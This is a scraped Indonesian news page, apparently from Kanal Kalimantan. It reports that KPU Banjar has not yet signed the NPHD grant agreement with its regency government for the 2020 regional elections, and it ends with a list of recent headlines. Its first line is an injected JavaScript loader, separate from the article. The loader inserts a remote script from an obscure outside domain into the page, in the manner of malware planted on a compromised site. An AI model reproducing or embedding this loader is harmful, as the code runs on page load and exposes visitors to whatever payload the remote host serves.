(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Tinggal KPU Banjar Belum Tandatangani NPHD dengan Pemkab Banjar


BANJARMASIN, Guna persiapan Pilkada Serentak 2020 di Kalimantan Selatan, enam kabupaten/kota telah melakukan penandatangan NPHD (Naskah Perjanjian Hibah Daerah). Hanya tinggal Kabupaten Banjar yang belum.

KPU Kabupaten/Kota yang telah menandatangi NPHD dengan Pemerintah Daerah yaitu Banjarmasin, Balangan, Tanah Bumbu, Hulu Sungai Tengah, Kotabaru, dan Banjarbaru. Sedangkan kabupaten Banjar belum melakukan penandatangan NPHD.

Komisioner KPU Kalsel, Edy Ariansyah mengatakan bahwa pada ketentuan Peraturan KPU Nomor 15 Tahun 2019 dan Surat Edaran Menteri Dalam Negeri Nomor: 900/9629/SJ bahwa jadwal tahapan/kegiatan penandatangan NPHD paling lambat dilaksanakan tanggal 1 Oktober 2019. “Pemerintah daerah bertanggung jawab untuk menyiapkan pendanaan untuk Pemilihan Serentak Tahun 2020,” terang Edy.

Ketentuan Pasal 166 ayat (1) Undang-Undang Nomor 10 Tahun 2016 secara ekspresif menegaskan bahwa pendanaan kegiatan pemilihan dibebankan pada APBD dan dapat didukung oleh APBN sesuai dengan ketentuan peraturan perundang-undangan. Lebih lanjut, Peraturan Menteri Dalam Negeri Nomor 54 Tahun 2019 juga telah mengatur pemerintah daerah untuk menyiapkan pendanaan pemilihan.

Setiap tahapan/program dalam pemilihan serentak tahun 2020 terbatasi oleh waktu. Kabupaten yang belum menandatangani NPHD diharapkan agar segera melakukan penandatangan NPHD apalagi mengingat tahun anggaran 2019 tersisa kurang dari tiga bulan. Banyak kegiatan/program yang harus diselenggarakan KPU Kabupaten/Kota sehingga jangan sampai tertunda-tunda penandatangan NPHD.

Kabupaten yang belum melakukan penandatangan NPHD ini menjadi perhatian lebih serius. KPU Kalsel akan melakukan monitoring dan supervisi kepada KPU Kabupaten Banjar. Hasilnya nanti akan disampaikan kepada Pimpinan KPU Republik Indonesia. Sebab, ketersediaan anggaran dapat berpotensi mempengaruhi kesiapan dan kelancaran penyelenggaraan pemilihan.(mario)

Reporter : Mario
Editor : Chell

 


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

12 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

15 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

19 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

19 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

20 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

21 jam ago

This website uses cookies.